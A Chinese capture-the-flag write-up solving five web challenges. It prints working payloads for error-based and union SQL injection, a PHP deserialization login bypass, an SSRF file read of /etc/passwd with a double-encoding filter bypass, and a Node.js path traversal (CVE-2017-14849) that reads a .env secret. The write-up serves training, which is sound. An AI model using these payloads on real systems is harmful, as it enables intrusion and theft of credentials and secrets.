网络安全管理职业技能竞赛Web writeup

本文首发于“合天网安实验室” 作者：ch3ng

本文涉及知识点靶场练习：CTF从入门到实践-CTF一站式学习平台-合天网安实验室

0x01 easy_sql

一开始看到是easysql，那就先上sqlmap跑跑看，跑出了数据库名security以及若干表名

 

继续跑flag，结果没跑出来，最后还是上手工了。。。

测试输入一个单引号，页面无反应，但是在源码中发现了又报错信息

接着用单引号和括号闭合，报错注入，之后想了一下，为什么页面没有回显呢，原来是因为错误信息居然显示白色，前期被骗了很久，用鼠标描一下即可看到

uname=aaa') or updatexml(1,concat(0x7e,mid((select * from flag),1,25)),1)%23&passwd=bbbb

uname=aaa') OR updatexml(1,concat(0x7e,mid((select * from flag),23,50)),1)%23&passwd=bbbb

 

0x02 ezsqli

开局一个输入框

 

查看hint得到源码

//a "part" of the source code here

function sqlWaf($s)
{ 
  $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
  if (preg_match($filter,$s))
    return False;
  return True;
}

if (isset($_POST['username']) && isset($_POST['password'])) {
  if (!isset($_SESSION['VerifyCode']))
    die("?");
   
  $username = strval($_POST['username']);  
  $password = strval($_POST['password']);
   
  
  if ( !sqlWaf($password) ) 
    alertMes('damn hacker' ,"./index.php");
    $sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
  //    password format: /[A-Za-z0-9]/
  $result = $conn->query($sql);
  if ($result->num_rows > 0)
  { 
    $row = $result->fetch_assoc(); 
    if ( $row['username'] === 'admin' && $row['password'] ) 
    { 
      if ($row['password'] == $password)
      {
        $message = $FLAG;
      } else {
        $message = "username or password wrong, are you admin?";
      }
    } else {
      $message = "wrong user";
    }
  } else { 
    $message = "user not exist or wrong password";
  }
}


?> 

password被过滤了，usename没有过滤，使用联合查询，构造username和password返回admin即可

username=admin1'+union+select+'admin','admin','admin'%23&password=admin&captcha=LSOK

0x03 warmup

下载源码开始审计，在index.php中发现了unserialize，估计是考察反序列化的利用了

···
if (isset ($_COOKIE['last_login_info'])) {
  $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info'])); 
  try {
    if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) { 
      die('WAF info: your ip status has been changed, you are dangrous.'); 
    }
  } catch(Exception $e) {
    die('Error');
  }
} else {
  $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ; 
  setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}
···

conn.php源码

include 'flag.php';
 

class SQL {
    public $table = '';
    public $username = '';
    public $password = '';
    public $conn;
    public function __construct() {
    }

     public function connect() {
        $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
    }
    

public function check_login(){ 
       $result = $this->query();        
if ($result === false) { 
           die("database error, please check your input");
        }
        $row = $result->fetch_assoc();
        if($row === NULL){            
die("username or password incorrect!");
        }else if($row['username'] === 'admin'){ 
           $flag = file_get_contents('flag.php');
            echo "welcome, admin! this is your flag -> ".$flag;
        }else{            echo "welcome! but you are not admin";        }
        $result->free(); 
   }
    

public function query() {
        
$this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }
    
public function waf(){
        $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
        foreach ($blacklist as $value) {
            if(strripos($this->table, $value)){
                die('bad hacker,go out!'); 
           }
        } 
       foreach ($blacklist as $value) {
            if(strripos($this->username, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->password, $value)){
                die('bad hacker,go out!'); 
           } 
       } 
   }
    public function __wakeup(){
        if (!isset ($this->conn)) { 
           $this->connect ();
        }
        if($this->table)
{            $this->waf();
        }        
$this->check_login();
        $this->conn->close();
    }


}
?>

可以看到在check_login中，有个flag的输出点，前提是我们需要伪造成admin用户

继续往下看，有个执行SQL语句的地方

public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'"); 
   }

下面还有个waf，看了一下，发现我们需要构造的万能密码所用到的字符不会被ban

$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
        foreach ($blacklist as $value) {
            if(strripos($this->table, $value)){                
die('bad hacker,go out!'); 
           }
        }

所以这里我们可以利用SQL注入来变成admin登录，username改为admin，password为万能密码a' or '1'='1，代码如下：

<?phpinclude "conn.php";
$sql = new SQL();
$sql->table = "users";
$sql->username = "admin";
$sql->password = "a'or'1'='1";
$a = serialize($sql);
echo $a;
echo base64_encode ($a);

得到
TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTA6ImEnb3InMSc9JzEiO3M6NDoiY29ubiI7Tjt9，
输入之后获得flag

0x04 ssrfME

访问可以看到有两个输入点，一个可以输入url，一个是验证码

脚本爆破验证码

<?php 
for ($i=0; $i < 1000000000; $i++) {
      $a = substr(md5($i), -6, 6);     if ($a == "d17b5b") {         echo $i;         break;     } 
} 
?>

尝试使用file协议读取，发现读取/etc/passwd成功

 

读取/flag，没成功，尝试读取/var/www/html/index.php，得到源码，原来是有个waf过滤了flag

···
if (isset($_POST['url']) && isset($_POST['captcha']) && !empty($_POST['url']) && !empty($_POST['captcha']))
{ 
   $url = $_POST['url'];    
$captcha = $_POST['captcha'];    
$is_post = 1;    
if ( $captcha !== $_SESSION['answer']) 
   {
        $die_mess = "wrong captcha"; 
       $is_die = 1;    
}
    

if ( preg_match('/flag|proc|log/i', $url) )
    {
        $die_mess = "hacker";        $is_die = 1;
    }
}
···

file协议读flag，利用两个url编码flag绕过

url=file:///%25%36%36%25%36%63%25%36%31%25%36%37&captcha=43049

 

 

0x05 SecretGuess

题目给了源码，但是不全

 

 

在index.html中发现了source，点击可以看到源码

const express = require('express');
const path = require('path');
const env = require('dotenv').
config();const bodyParser = require('body-parser');
const crypto = require('crypto');
const fs = require('fs')
const hbs = require('hbs');
const process = require("child_process")

const app = express();

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')

app.get('/', (req, res) => {    res.render("index")
})

app.post('/', (req, res) => {    if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth ) {        res.render("index", {result: process.execSync("echo $FLAG")})    } else {        res.render("index", {result: "wrong secret"})    }
})

app.get('/source', (req, res) => {    res.end(fs.readFileSync(path.join(__dirname, "app.js")))
})

app.listen(80, "0.0.0.0");

在给出dockerfile中，文件内容为

FROM node:8.5

COPY ./src /usr/local/app

WORKDIR /usr/local/app

ENV FLAG=flag{**********}

RUN npm i --registry=https://registry.npm.taobao.org

EXPOSE 80

CMD node /usr/local/app/app.js

去搜索相关内容，发现了可能会存在CVE-2017-14849漏洞

输入/static/../../a/../../..//etc/passwd，利用成功

 

接着去获取secret，/static/../../a/../../../usr/local/app/.env，得到secret=CVE-2017-14849

 

根据源码中的条件

if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth )

我们将CVE-2017-14849进行md5加密之后提交即可获得flag，auth=10523ece56c1d399dae057b3ac1ad733